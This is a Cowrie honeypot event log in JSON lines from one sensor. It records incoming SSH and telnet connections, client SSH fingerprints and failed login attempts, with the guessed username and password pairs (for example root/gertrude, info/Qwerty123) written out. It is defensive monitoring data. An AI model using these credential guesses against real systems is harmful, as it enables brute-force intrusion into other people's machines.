{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:05.545774Z","src_ip":"103.77.242.62","session":"b3581d6c3912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":38420,"dst_ip":"159.203.135.109","dst_port":22,"session":"7432e4b30261","protocol":"ssh","message":"New connection: 216.155.93.75:38420 (159.203.135.109:22) [session: 7432e4b30261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:24.612952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:24.618067Z","src_ip":"216.155.93.75","session":"7432e4b30261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:24.775700Z","src_ip":"216.155.93.75","session":"7432e4b30261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brian","password":"12345","message":"login attempt [brian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:25.441764Z","src_ip":"216.155.93.75","session":"7432e4b30261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:26.602322Z","src_ip":"216.155.93.75","session":"7432e4b30261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.66305351257324,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:28.470007Z","src_ip":"128.199.8.54","session":"b3eca5fb312b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":49452,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6b77b707306","protocol":"telnet","message":"New connection: 94.23.66.112:49452 (10.17.0.5:23) [session: b6b77b707306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:31.280470Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":45220,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6fa5c48ae37","protocol":"ssh","message":"New connection: 103.122.221.179:45220 (159.203.135.109:22) [session: b6fa5c48ae37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:34.509919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:34.514072Z","src_ip":"103.122.221.179","session":"b6fa5c48ae37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:34.766733Z","src_ip":"103.122.221.179","session":"b6fa5c48ae37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gertrude","message":"login attempt [root/gertrude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:35.526486Z","src_ip":"103.122.221.179","session":"b6fa5c48ae37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:36.781008Z","src_ip":"103.122.221.179","session":"b6fa5c48ae37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":54246,"dst_ip":"159.203.135.109","dst_port":22,"session":"654c93cba2f3","protocol":"ssh","message":"New connection: 85.198.19.241:54246 (159.203.135.109:22) [session: 654c93cba2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:27.923008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:30.058051Z","src_ip":"85.198.19.241","session":"654c93cba2f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:30.064402Z","src_ip":"85.198.19.241","session":"654c93cba2f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vendas","password":"123456","message":"login attempt [vendas/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:31.090727Z","src_ip":"85.198.19.241","session":"654c93cba2f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:37.851708Z","src_ip":"85.198.19.241","session":"654c93cba2f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46584,"dst_ip":"10.17.0.5","dst_port":22,"session":"5062b0f88d1f","protocol":"ssh","message":"New connection: 77.94.47.83:46584 (10.17.0.5:22) [session: 5062b0f88d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:38.929693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:38.934645Z","src_ip":"77.94.47.83","session":"5062b0f88d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:39.049262Z","src_ip":"77.94.47.83","session":"5062b0f88d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"27051993","message":"login attempt [root/27051993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:39.387759Z","src_ip":"77.94.47.83","session":"5062b0f88d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:40.501652Z","src_ip":"77.94.47.83","session":"5062b0f88d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":48532,"dst_ip":"10.17.0.5","dst_port":22,"session":"deeb07726871","protocol":"ssh","message":"New connection: 182.93.50.90:48532 (10.17.0.5:22) [session: deeb07726871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:42.323184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:42.327967Z","src_ip":"182.93.50.90","session":"deeb07726871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:42.542998Z","src_ip":"182.93.50.90","session":"deeb07726871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"Qwerty123","message":"login attempt [info/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:43.432780Z","src_ip":"182.93.50.90","session":"deeb07726871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:44.657963Z","src_ip":"182.93.50.90","session":"deeb07726871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.65881419181824,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:50.939158Z","src_ip":"94.23.66.112","session":"b6b77b707306","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":58392,"dst_ip":"10.17.0.5","dst_port":22,"session":"714f9701cbef","protocol":"ssh","message":"New connection: 103.82.20.28:58392 (10.17.0.5:22) [session: 714f9701cbef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:52.360133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:52.364313Z","src_ip":"103.82.20.28","session":"714f9701cbef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":57390,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e74490683c0","protocol":"ssh","message":"New connection: 91.92.40.13:57390 (10.17.0.5:22) [session: 4e74490683c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:52.574913Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:52.622398Z","src_ip":"103.82.20.28","session":"714f9701cbef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:52.662639Z","src_ip":"91.92.40.13","session":"4e74490683c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230980","message":"login attempt [root/230980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:53.397553Z","src_ip":"103.82.20.28","session":"714f9701cbef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:30:54.658978Z","src_ip":"103.82.20.28","session":"714f9701cbef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34344,"dst_ip":"10.17.0.5","dst_port":22,"session":"92f7198b9913","protocol":"ssh","message":"New connection: 27.71.230.31:34344 (10.17.0.5:22) [session: 92f7198b9913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:35.765340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:35.788223Z","src_ip":"27.71.230.31","session":"92f7198b9913","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:36.044399Z","src_ip":"27.71.230.31","session":"92f7198b9913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53290,"dst_ip":"159.203.135.109","dst_port":23,"session":"6989ae24bf7a","protocol":"telnet","message":"New connection: 172.81.62.90:53290 (159.203.135.109:23) [session: 6989ae24bf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:39.553377Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.1234","message":"login attempt [root/admin.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:39.889323Z","src_ip":"27.71.230.31","session":"92f7198b9913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:41.215939Z","src_ip":"27.71.230.31","session":"92f7198b9913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":57715,"dst_ip":"159.203.135.109","dst_port":22,"session":"f03f2b3af91d","protocol":"ssh","message":"New connection: 216.155.93.75:57715 (159.203.135.109:22) [session: f03f2b3af91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:51.148531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:51.155114Z","src_ip":"216.155.93.75","session":"f03f2b3af91d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:51.304187Z","src_ip":"216.155.93.75","session":"f03f2b3af91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manuel","password":"manuel","message":"login attempt [manuel/manuel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:51.932428Z","src_ip":"216.155.93.75","session":"f03f2b3af91d","protocol":"ssh"}
